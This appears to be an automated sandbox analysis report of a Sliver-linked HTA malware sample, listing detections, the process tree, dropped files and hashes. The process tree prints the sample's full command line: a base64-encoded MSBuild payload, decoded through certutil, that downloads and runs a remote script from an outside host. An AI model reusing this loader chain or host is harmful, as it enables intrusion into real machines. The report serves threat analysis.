Analysis

  • max time kernel
    118s
  • max time network
    148s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    07/11/2024, 02:19

General

  • Target
    3a4befeda808fff4c4bef7d488d59fefa1334d9c7acb6cb155c6cfa9f88a03f3.hta
  • Size 3KB
  • Sample241107-crt25askhx
  • SHA256 3a4befeda808fff4c4bef7d488d59fefa1334d9c7acb6cb155c6cfa9f88a03f3
  • MD5 SHA1 SHA512

Malware Config

Signatures

  • Sliver RAT v2 5 IoCs
  • Sliver family
  • SliverRAT

    SliverRAT is an open source Adversary Emulation Framework.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Deobfuscate/Decode Files or Information 1 TTPs 1 IoCs

    Payload decoded via CertUtil.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 30 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\3a4befeda808fff4c4bef7d488d59fefa1334d9c7acb6cb155c6cfa9f88a03f3.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:2748
    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden echo PFByb2plY3QgVG9vbHNWZXJzaW9uPSI0LjAiIHhtbG5zPSJodHRwOi8vc2NoZW1hcy5taWNyb3NvZnQuY29tL2RldmVsb3Blci9tc2J1aWxkLzIwMDMiPg0KICA8IS0tIFRoaXMgaW5saW5lIHRhc2sgZXhlY3V0ZXMgYyMgY29kZS4gLS0+DQogIDwhLS0gQzpcV2luZG93c1xNaWNyb3NvZnQuTkVUXEZyYW1ld29yazY0XHY0LjAuMzAzMTlcbXNidWlsZC5leGUgcHNoZWxsLnhtbCAtLT4NCiAgIDwhLS0gQXV0aG9yOiBDYXNleSBTbWl0aCwgVHdpdHRlcjogQHN1YlRlZSAtLT4NCiAgPCEtLSBMaWNlbnNlOiBCU0QgMy1DbGF1c2UgLS0+DQogIDxUYXJnZXQgTmFtZT0iSGVsbG8iPg0KICAgPEZyYWdtZW50RXhhbXBsZSAvPg0KICAgPENsYXNzRXhhbXBsZSAvPg0KICA8L1RhcmdldD4NCiAgPFVzaW5nVGFzaw0KICAgIFRhc2tOYW1lPSJGcmFnbWVudEV4YW1wbGUiDQogICAgVGFza0ZhY3Rvcnk9IkNvZGVUYXNrRmFjdG9yeSINCiAgICBBc3NlbWJseUZpbGU9IkM6XFdpbmRvd3NcTWljcm9zb2Z0Lk5ldFxGcmFtZXdvcmtcdjQuMC4zMDMxOVxNaWNyb3NvZnQuQnVpbGQuVGFza3MudjQuMC5kbGwiID4NCiAgICA8UGFyYW1ldGVyR3JvdXAvPg0KICAgIDxUYXNrPg0KICAgICAgPFVzaW5nIE5hbWVzcGFjZT0iU3lzdGVtIiAvPg0KICAgICAgPFVzaW5nIE5hbWVzcGFjZT0iU3lzdGVtLklPIiAvPg0KICAgICAgPENvZGUgVHlwZT0iRnJhZ21lbnQiIExhbmd1YWdlPSJjcyI+DQogICAgICAgIDwhW0NEQVRBWw0KICAgICAgICAgICAgICAgIENvbnNvbGUuV3JpdGVMaW5lKCJIZWxsbyBGcm9tIEZyYWdtZW50Iik7DQogICAgICAgIF1dPg0KICAgICAgPC9Db2RlPg0KICAgIDwvVGFzaz4NCiAgICA8L1VzaW5nVGFzaz4NCiAgICA8VXNpbmdUYXNrDQogICAgVGFza05hbWU9IkNsYXNzRXhhbXBsZSINCiAgICBUYXNrRmFjdG9yeT0iQ29kZVRhc2tGYWN0b3J5Ig0KICAgIEFzc2VtYmx5RmlsZT0iQzpcV2luZG93c1xNaWNyb3NvZnQuTmV0XEZyYW1ld29ya1x2NC4wLjMwMzE5XE1pY3Jvc29mdC5CdWlsZC5UYXNrcy52NC4wLmRsbCIgPg0KICAgIDxUYXNrPg0KICAgICAgPFJlZmVyZW5jZSBJbmNsdWRlPSJTeXN0ZW0uTWFuYWdlbWVudC5BdXRvbWF0aW9uIiAvPg0KICAgICAgPENvZGUgVHlwZT0iQ2xhc3MiIExhbmd1YWdlPSJjcyI+DQogICAgICAgIDwhW0NEQVRBWw0KICAgICAgICANCiAgICAgICAgICAgIHVzaW5nIFN5c3RlbTsNCiAgICAgICAgICAgIHVzaW5nIFN5c3RlbS5JTzsNCiAgICAgICAgICAgIHVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsNCiAgICAgICAgICAgIHVzaW5nIFN5c3RlbS5SZWZsZWN0aW9uOw0KICAgICAgICAgICAgdXNpbmcgU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzOw0KICAgICAgICAgICAgLy9BZGQgRm9yIFBvd2VyU2hlbGwgSW52b2NhdGlvbg0KICAgICAgICAgICAgdXNpbmcgU3lzdGVtLkNvbGxlY3Rpb25zLk9iamVjdE1vZGVsOw0KICAgICAgICAgICAgdXNpbmcgU3lzdGVtLk1hbmFnZW1lbnQuQXV0b21hdGlvbjsNCiAgICAgICAgICAgIHVzaW5nIFN5c3RlbS5NYW5hZ2VtZW50LkF1dG9tYXRpb24uUnVuc3BhY2VzOw0KICAgICAgICAgICAgdXNpbmcgU3lzdGVtLlRleHQ7DQogICAgICAgICAgICB1c2luZyBNaWNyb3NvZnQuQnVpbGQuRnJhbWV3b3JrOw0KICAgICAgICAgICAgdXNpbmcgTWljcm9zb2Z0LkJ1aWxkLlV0aWxpdGllczsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICANCiAgICAgICAgICAgIHB1YmxpYyBjbGFzcyBDbGFzc0V4YW1wbGUgOiAgVGFzaywgSVRhc2sNCiAgICAgICAgICAgIHsNCiAgICAgICAgICAgICAgICBwdWJsaWMgb3ZlcnJpZGUgYm9vbCBFeGVjdXRlKCkNCiAgICAgICAgICAgICAgICB7DQogICAgICAgICAgICAgICAgICAgIFN0cmluZyBjbWQgPSBAIihOZXctT2JqZWN0IE5ldC5XZWJDbGllbnQpLkRvd25sb2FkU3RyaW5nKCdodHRwOi8vc2VjdXJlLmNsb3VkdGVjaG5vbG9naWVzdXNhLmNvbTo4MDgxL3VwZGF0ZS50eHQnKSB8IGlleCI7DQogICAgICAgICAgICBSdW5zcGFjZSBycyA9IFJ1bnNwYWNlRmFjdG9yeS5DcmVhdGVSdW5zcGFjZSgpOw0KICAgICAgICAgICAgcnMuT3BlbigpOw0KICAgICAgICAgICAgUG93ZXJTaGVsbCBwcyA9IFBvd2VyU2hlbGwuQ3JlYXRlKCk7DQogICAgICAgICAgICBwcy5SdW5zcGFjZSA9IHJzOw0KICAgICAgICAgICAgcHMuQWRkU2NyaXB0KGNtZCk7DQogICAgICAgICAgICBwcy5JbnZva2UoKTsNCiAgICAgICAgICAgIHJzLkNsb3NlKCk7DQogICAgICAgICAgICByZXR1cm4gdHJ1ZTsNCiAgICAgICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgIA0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgDQogICAgICAgICAgICANCiANCiAgICAgICAgICAgIA0KICAgICAgICBdXT4NCiAgICAgIDwvQ29kZT4NCiAgICA8L1Rhc2s+DQogIDwvVXNpbmdUYXNrPg0KPC9Qcm9qZWN0Pg== > c:\windows\temp\enc3.txt;certutil -decode c:\windows\temp\enc3.txt c:\windows\temp\d.xml;C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe C:\windows\temp\d.xml
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • System Location Discovery: System Language Discovery
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2768
      • C:\Windows\SysWOW64\certutil.exe
        "C:\Windows\system32\certutil.exe" -decode c:\windows\temp\enc3.txt c:\windows\temp\d.xml
        3⤵
        • Deobfuscate/Decode Files or Information
        • System Location Discovery: System Language Discovery
        PID:2572
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe" C:\windows\temp\d.xml
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2692
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
          "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3y1bivfx\3y1bivfx.cmdline"
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:2872
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
            C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFA27.tmp" "c:\Users\Admin\AppData\Local\Temp\3y1bivfx\CSCC73DE90DF3FE46598A3F4938CE41537B.TMP"
            5⤵
              PID:1272
          • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
            "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3chag5h1\3chag5h1.cmdline"
            4⤵
            • Suspicious use of WriteProcessMemory
            PID:1736
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
              C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESFAE2.tmp" "c:\Users\Admin\AppData\Local\Temp\3chag5h1\CSC473A7D4465454302B63FC1A2A078FC3.TMP"
              5⤵
                PID:2936
            • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
              "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\g1dxskcg\g1dxskcg.cmdline"
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:2944
              • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA2E.tmp" "c:\Users\Admin\AppData\Local\Temp\g1dxskcg\CSC3DDB26D312934F398C30737F68A1486.TMP"
                5⤵
                  PID:2968

        Network

              MITRE ATT&CK Enterprise v15

              Replay Monitor

              Loading Replay Monitor...

              Downloads

              3chag5h1.dll

              • Path C:\Users\Admin\AppData\Local\Temp\3chag5h1\3chag5h1.dll
              • Size 4KB
              • SHA256 73ddda7e24b98c7bd2af45a0697e84dad5ffc43c24050b325160184840bf6b39
              • MD5 SHA1 SHA512

              3chag5h1.pdb

              • Path C:\Users\Admin\AppData\Local\Temp\3chag5h1\3chag5h1.pdb
              • Size 11KB
              • SHA256 925a5a5d3dd699b7752d6d7ca999ccb15ab18677a9633c15074969155286c619
              • MD5 SHA1 SHA512 SSDEEP

              3y1bivfx.dll

              • Path C:\Users\Admin\AppData\Local\Temp\3y1bivfx\3y1bivfx.dll
              • Size 4KB
              • SHA256 c9c401c7315a530d53850ea41dc54a22e0c1405dec710bb19ed8f176001e8b83
              • MD5 SHA1 SHA512

              3y1bivfx.pdb

              • Path C:\Users\Admin\AppData\Local\Temp\3y1bivfx\3y1bivfx.pdb
              • Size 11KB
              • SHA256 a975ad2b4f961ce2d4cf9f815f9eec24c676cf97e60206aa825df191d7af3736
              • MD5 SHA1 SHA512 SSDEEP

              RESA2E.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RESA2E.tmp
              • Size 1KB
              • SHA256 c5ce212180e04d9f7543067387401ce45f394ae52a2962a16ab91c381fe844a3
              • MD5 SHA1 SHA512

              RESFA27.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RESFA27.tmp
              • Size 1KB
              • SHA256 fb44bd10da2fd69a8e3de2ea1721f03c47b2d4c2be3c8f90ca227367cb4eb767
              • MD5 SHA1 SHA512

              RESFAE2.tmp

              • Path C:\Users\Admin\AppData\Local\Temp\RESFAE2.tmp
              • Size 1KB
              • SHA256 8669cc2a08b180c0568cb767e2401d75c9cd28e4bc00ba594a3971cdfae1e380
              • MD5 SHA1 SHA512

              g1dxskcg.dll

              • Path C:\Users\Admin\AppData\Local\Temp\g1dxskcg\g1dxskcg.dll
              • Size 4KB
              • SHA256 6ae336202037340b3510db3a520ba4afdda4e9cc8498cc916ce151457fbe535b
              • MD5 SHA1 SHA512

              g1dxskcg.pdb

              • Path C:\Users\Admin\AppData\Local\Temp\g1dxskcg\g1dxskcg.pdb
              • Size 7KB
              • SHA256 8f379d8196ab67bc7d50cf3ee0409fd38e3757e9d0b83142843dd3d5b9d91347
              • MD5 SHA1 SHA512 SSDEEP

              d.xml

              • Path C:\windows\temp\d.xml
              • Size 2KB
              • SHA256 104291eb54874a1e80375b91ec552efac6632272654c8a5613730bd2eba9e78a
              • MD5 SHA1 SHA512

              3chag5h1.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\3chag5h1\3chag5h1.0.cs
              • Size 1KB
              • SHA256 624fe16b05ade5d9929c6ecf16857939230ea32156405c18b4dacfb0448e310e
              • MD5 SHA1 SHA512

              3chag5h1.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\3chag5h1\3chag5h1.cmdline
              • Size 782B
              • SHA256 4837ffe0f77c00dfc6ebcce8ac96526c83c6330f325a4ba998ae2e3d63d04bf4
              • MD5 SHA1 SHA512

              CSC473A7D4465454302B63FC1A2A078FC3.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\3chag5h1\CSC473A7D4465454302B63FC1A2A078FC3.TMP
              • Size 652B
              • SHA256 54e79833a1daadfdd1fc07d31f1c20f4d2b94eec12fc4fa98f4010cb6a2bc133
              • MD5 SHA1 SHA512

              3y1bivfx.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\3y1bivfx\3y1bivfx.0.cs
              • Size 1KB
              • SHA256 70e3eb02311312b3f1ff90617cb47ebb9b8e7cab47771668811a34584182c6bb
              • MD5 SHA1 SHA512

              3y1bivfx.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\3y1bivfx\3y1bivfx.cmdline
              • Size 660B
              • SHA256 1787820228785d0d09d7957ef85d778a1c45c9726f15d7e2cda56d7839d6feb3
              • MD5 SHA1 SHA512

              CSCC73DE90DF3FE46598A3F4938CE41537B.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\3y1bivfx\CSCC73DE90DF3FE46598A3F4938CE41537B.TMP
              • Size 652B
              • SHA256 bec78056e7ae5b2302e239413f4caa67df3b35283f1ab8ef281b277711b139aa
              • MD5 SHA1 SHA512

              CSC3DDB26D312934F398C30737F68A1486.TMP

              • Path \??\c:\Users\Admin\AppData\Local\Temp\g1dxskcg\CSC3DDB26D312934F398C30737F68A1486.TMP
              • Size 652B
              • SHA256 cd7c756209e436658d93c5f634667f3ce741c2c3353210f37dadf4c2c8376882
              • MD5 SHA1 SHA512

              g1dxskcg.0.cs

              • Path \??\c:\Users\Admin\AppData\Local\Temp\g1dxskcg\g1dxskcg.0.cs
              • Size 611B
              • SHA256 67bc3e11493360528ba1296980ab818bf4c3938d14ddd6b5063bba03667b28ac
              • MD5 SHA1 SHA512

              g1dxskcg.cmdline

              • Path \??\c:\Users\Admin\AppData\Local\Temp\g1dxskcg\g1dxskcg.cmdline
              • Size 327B
              • SHA256 bd75a1738591f665506848423febbf7c0bd3d95bba2fe0eced60cd0aa502cfd3
              • MD5 SHA1 SHA512

              enc3.txt

              • Path \??\c:\windows\temp\enc3.txt
              • Size 6KB
              • SHA256 731673720695df22b838e0d256f7506eaa4c7570601db0a409302ab3a0cd1686
              • MD5 SHA1 SHA512 SSDEEP

              memory/2692-12-0x00000000023C0000-0x0000000002404000-memory.dmp

              memory/2692-57-0x000000001C1F0000-0x000000001C312000-memory.dmp

              memory/2692-13-0x00000000023C0000-0x00000000023DA000-memory.dmp

              memory/2692-33-0x000000001DFA0000-0x000000001E282000-memory.dmp

              memory/2692-11-0x00000000022E0000-0x0000000002324000-memory.dmp

              memory/2692-10-0x000000001D030000-0x000000001D152000-memory.dmp

              memory/2692-9-0x000000001C1F0000-0x000000001C312000-memory.dmp

              memory/2692-48-0x00000000023C0000-0x00000000023C8000-memory.dmp

              memory/2692-50-0x00000000023D0000-0x00000000023EC000-memory.dmp

              memory/2692-51-0x00000000023F0000-0x0000000002438000-memory.dmp

              memory/2692-52-0x000000001B290000-0x000000001B298000-memory.dmp

              memory/2692-53-0x000000001BC30000-0x000000001BCD6000-memory.dmp

              memory/2692-54-0x000000001B2A0000-0x000000001B2D4000-memory.dmp

              memory/2692-55-0x000000001BCE0000-0x000000001BD2A000-memory.dmp

              memory/2692-56-0x000000001BD70000-0x000000001BD86000-memory.dmp

              memory/2692-14-0x000000001C1F0000-0x000000001C36A000-memory.dmp

              memory/2692-58-0x000000001C1F0000-0x000000001C312000-memory.dmp

              memory/2692-59-0x000000001E490000-0x000000001E54A000-memory.dmp

              memory/2692-32-0x000000001C1F0000-0x000000001C312000-memory.dmp

              memory/2692-30-0x0000000002330000-0x0000000002338000-memory.dmp

              memory/2692-15-0x000000001D160000-0x000000001D4C4000-memory.dmp

              memory/2692-7-0x000000001B7F0000-0x000000001B94A000-memory.dmp

              memory/2692-74-0x000000001B2E0000-0x000000001B2E8000-memory.dmp

              memory/2692-6-0x0000000000540000-0x000000000055A000-memory.dmp

              memory/2692-5-0x000000013FE30000-0x000000013FE6E000-memory.dmp

              memory/2692-76-0x0000000020720000-0x000000002119B000-memory.dmp

              memory/2692-77-0x0000000022120000-0x0000000022C04000-memory.dmp

              memory/2692-78-0x0000000022120000-0x0000000022C04000-memory.dmp

              memory/2692-80-0x0000000022120000-0x0000000022C04000-memory.dmp

              memory/2692-79-0x0000000022120000-0x0000000022C04000-memory.dmp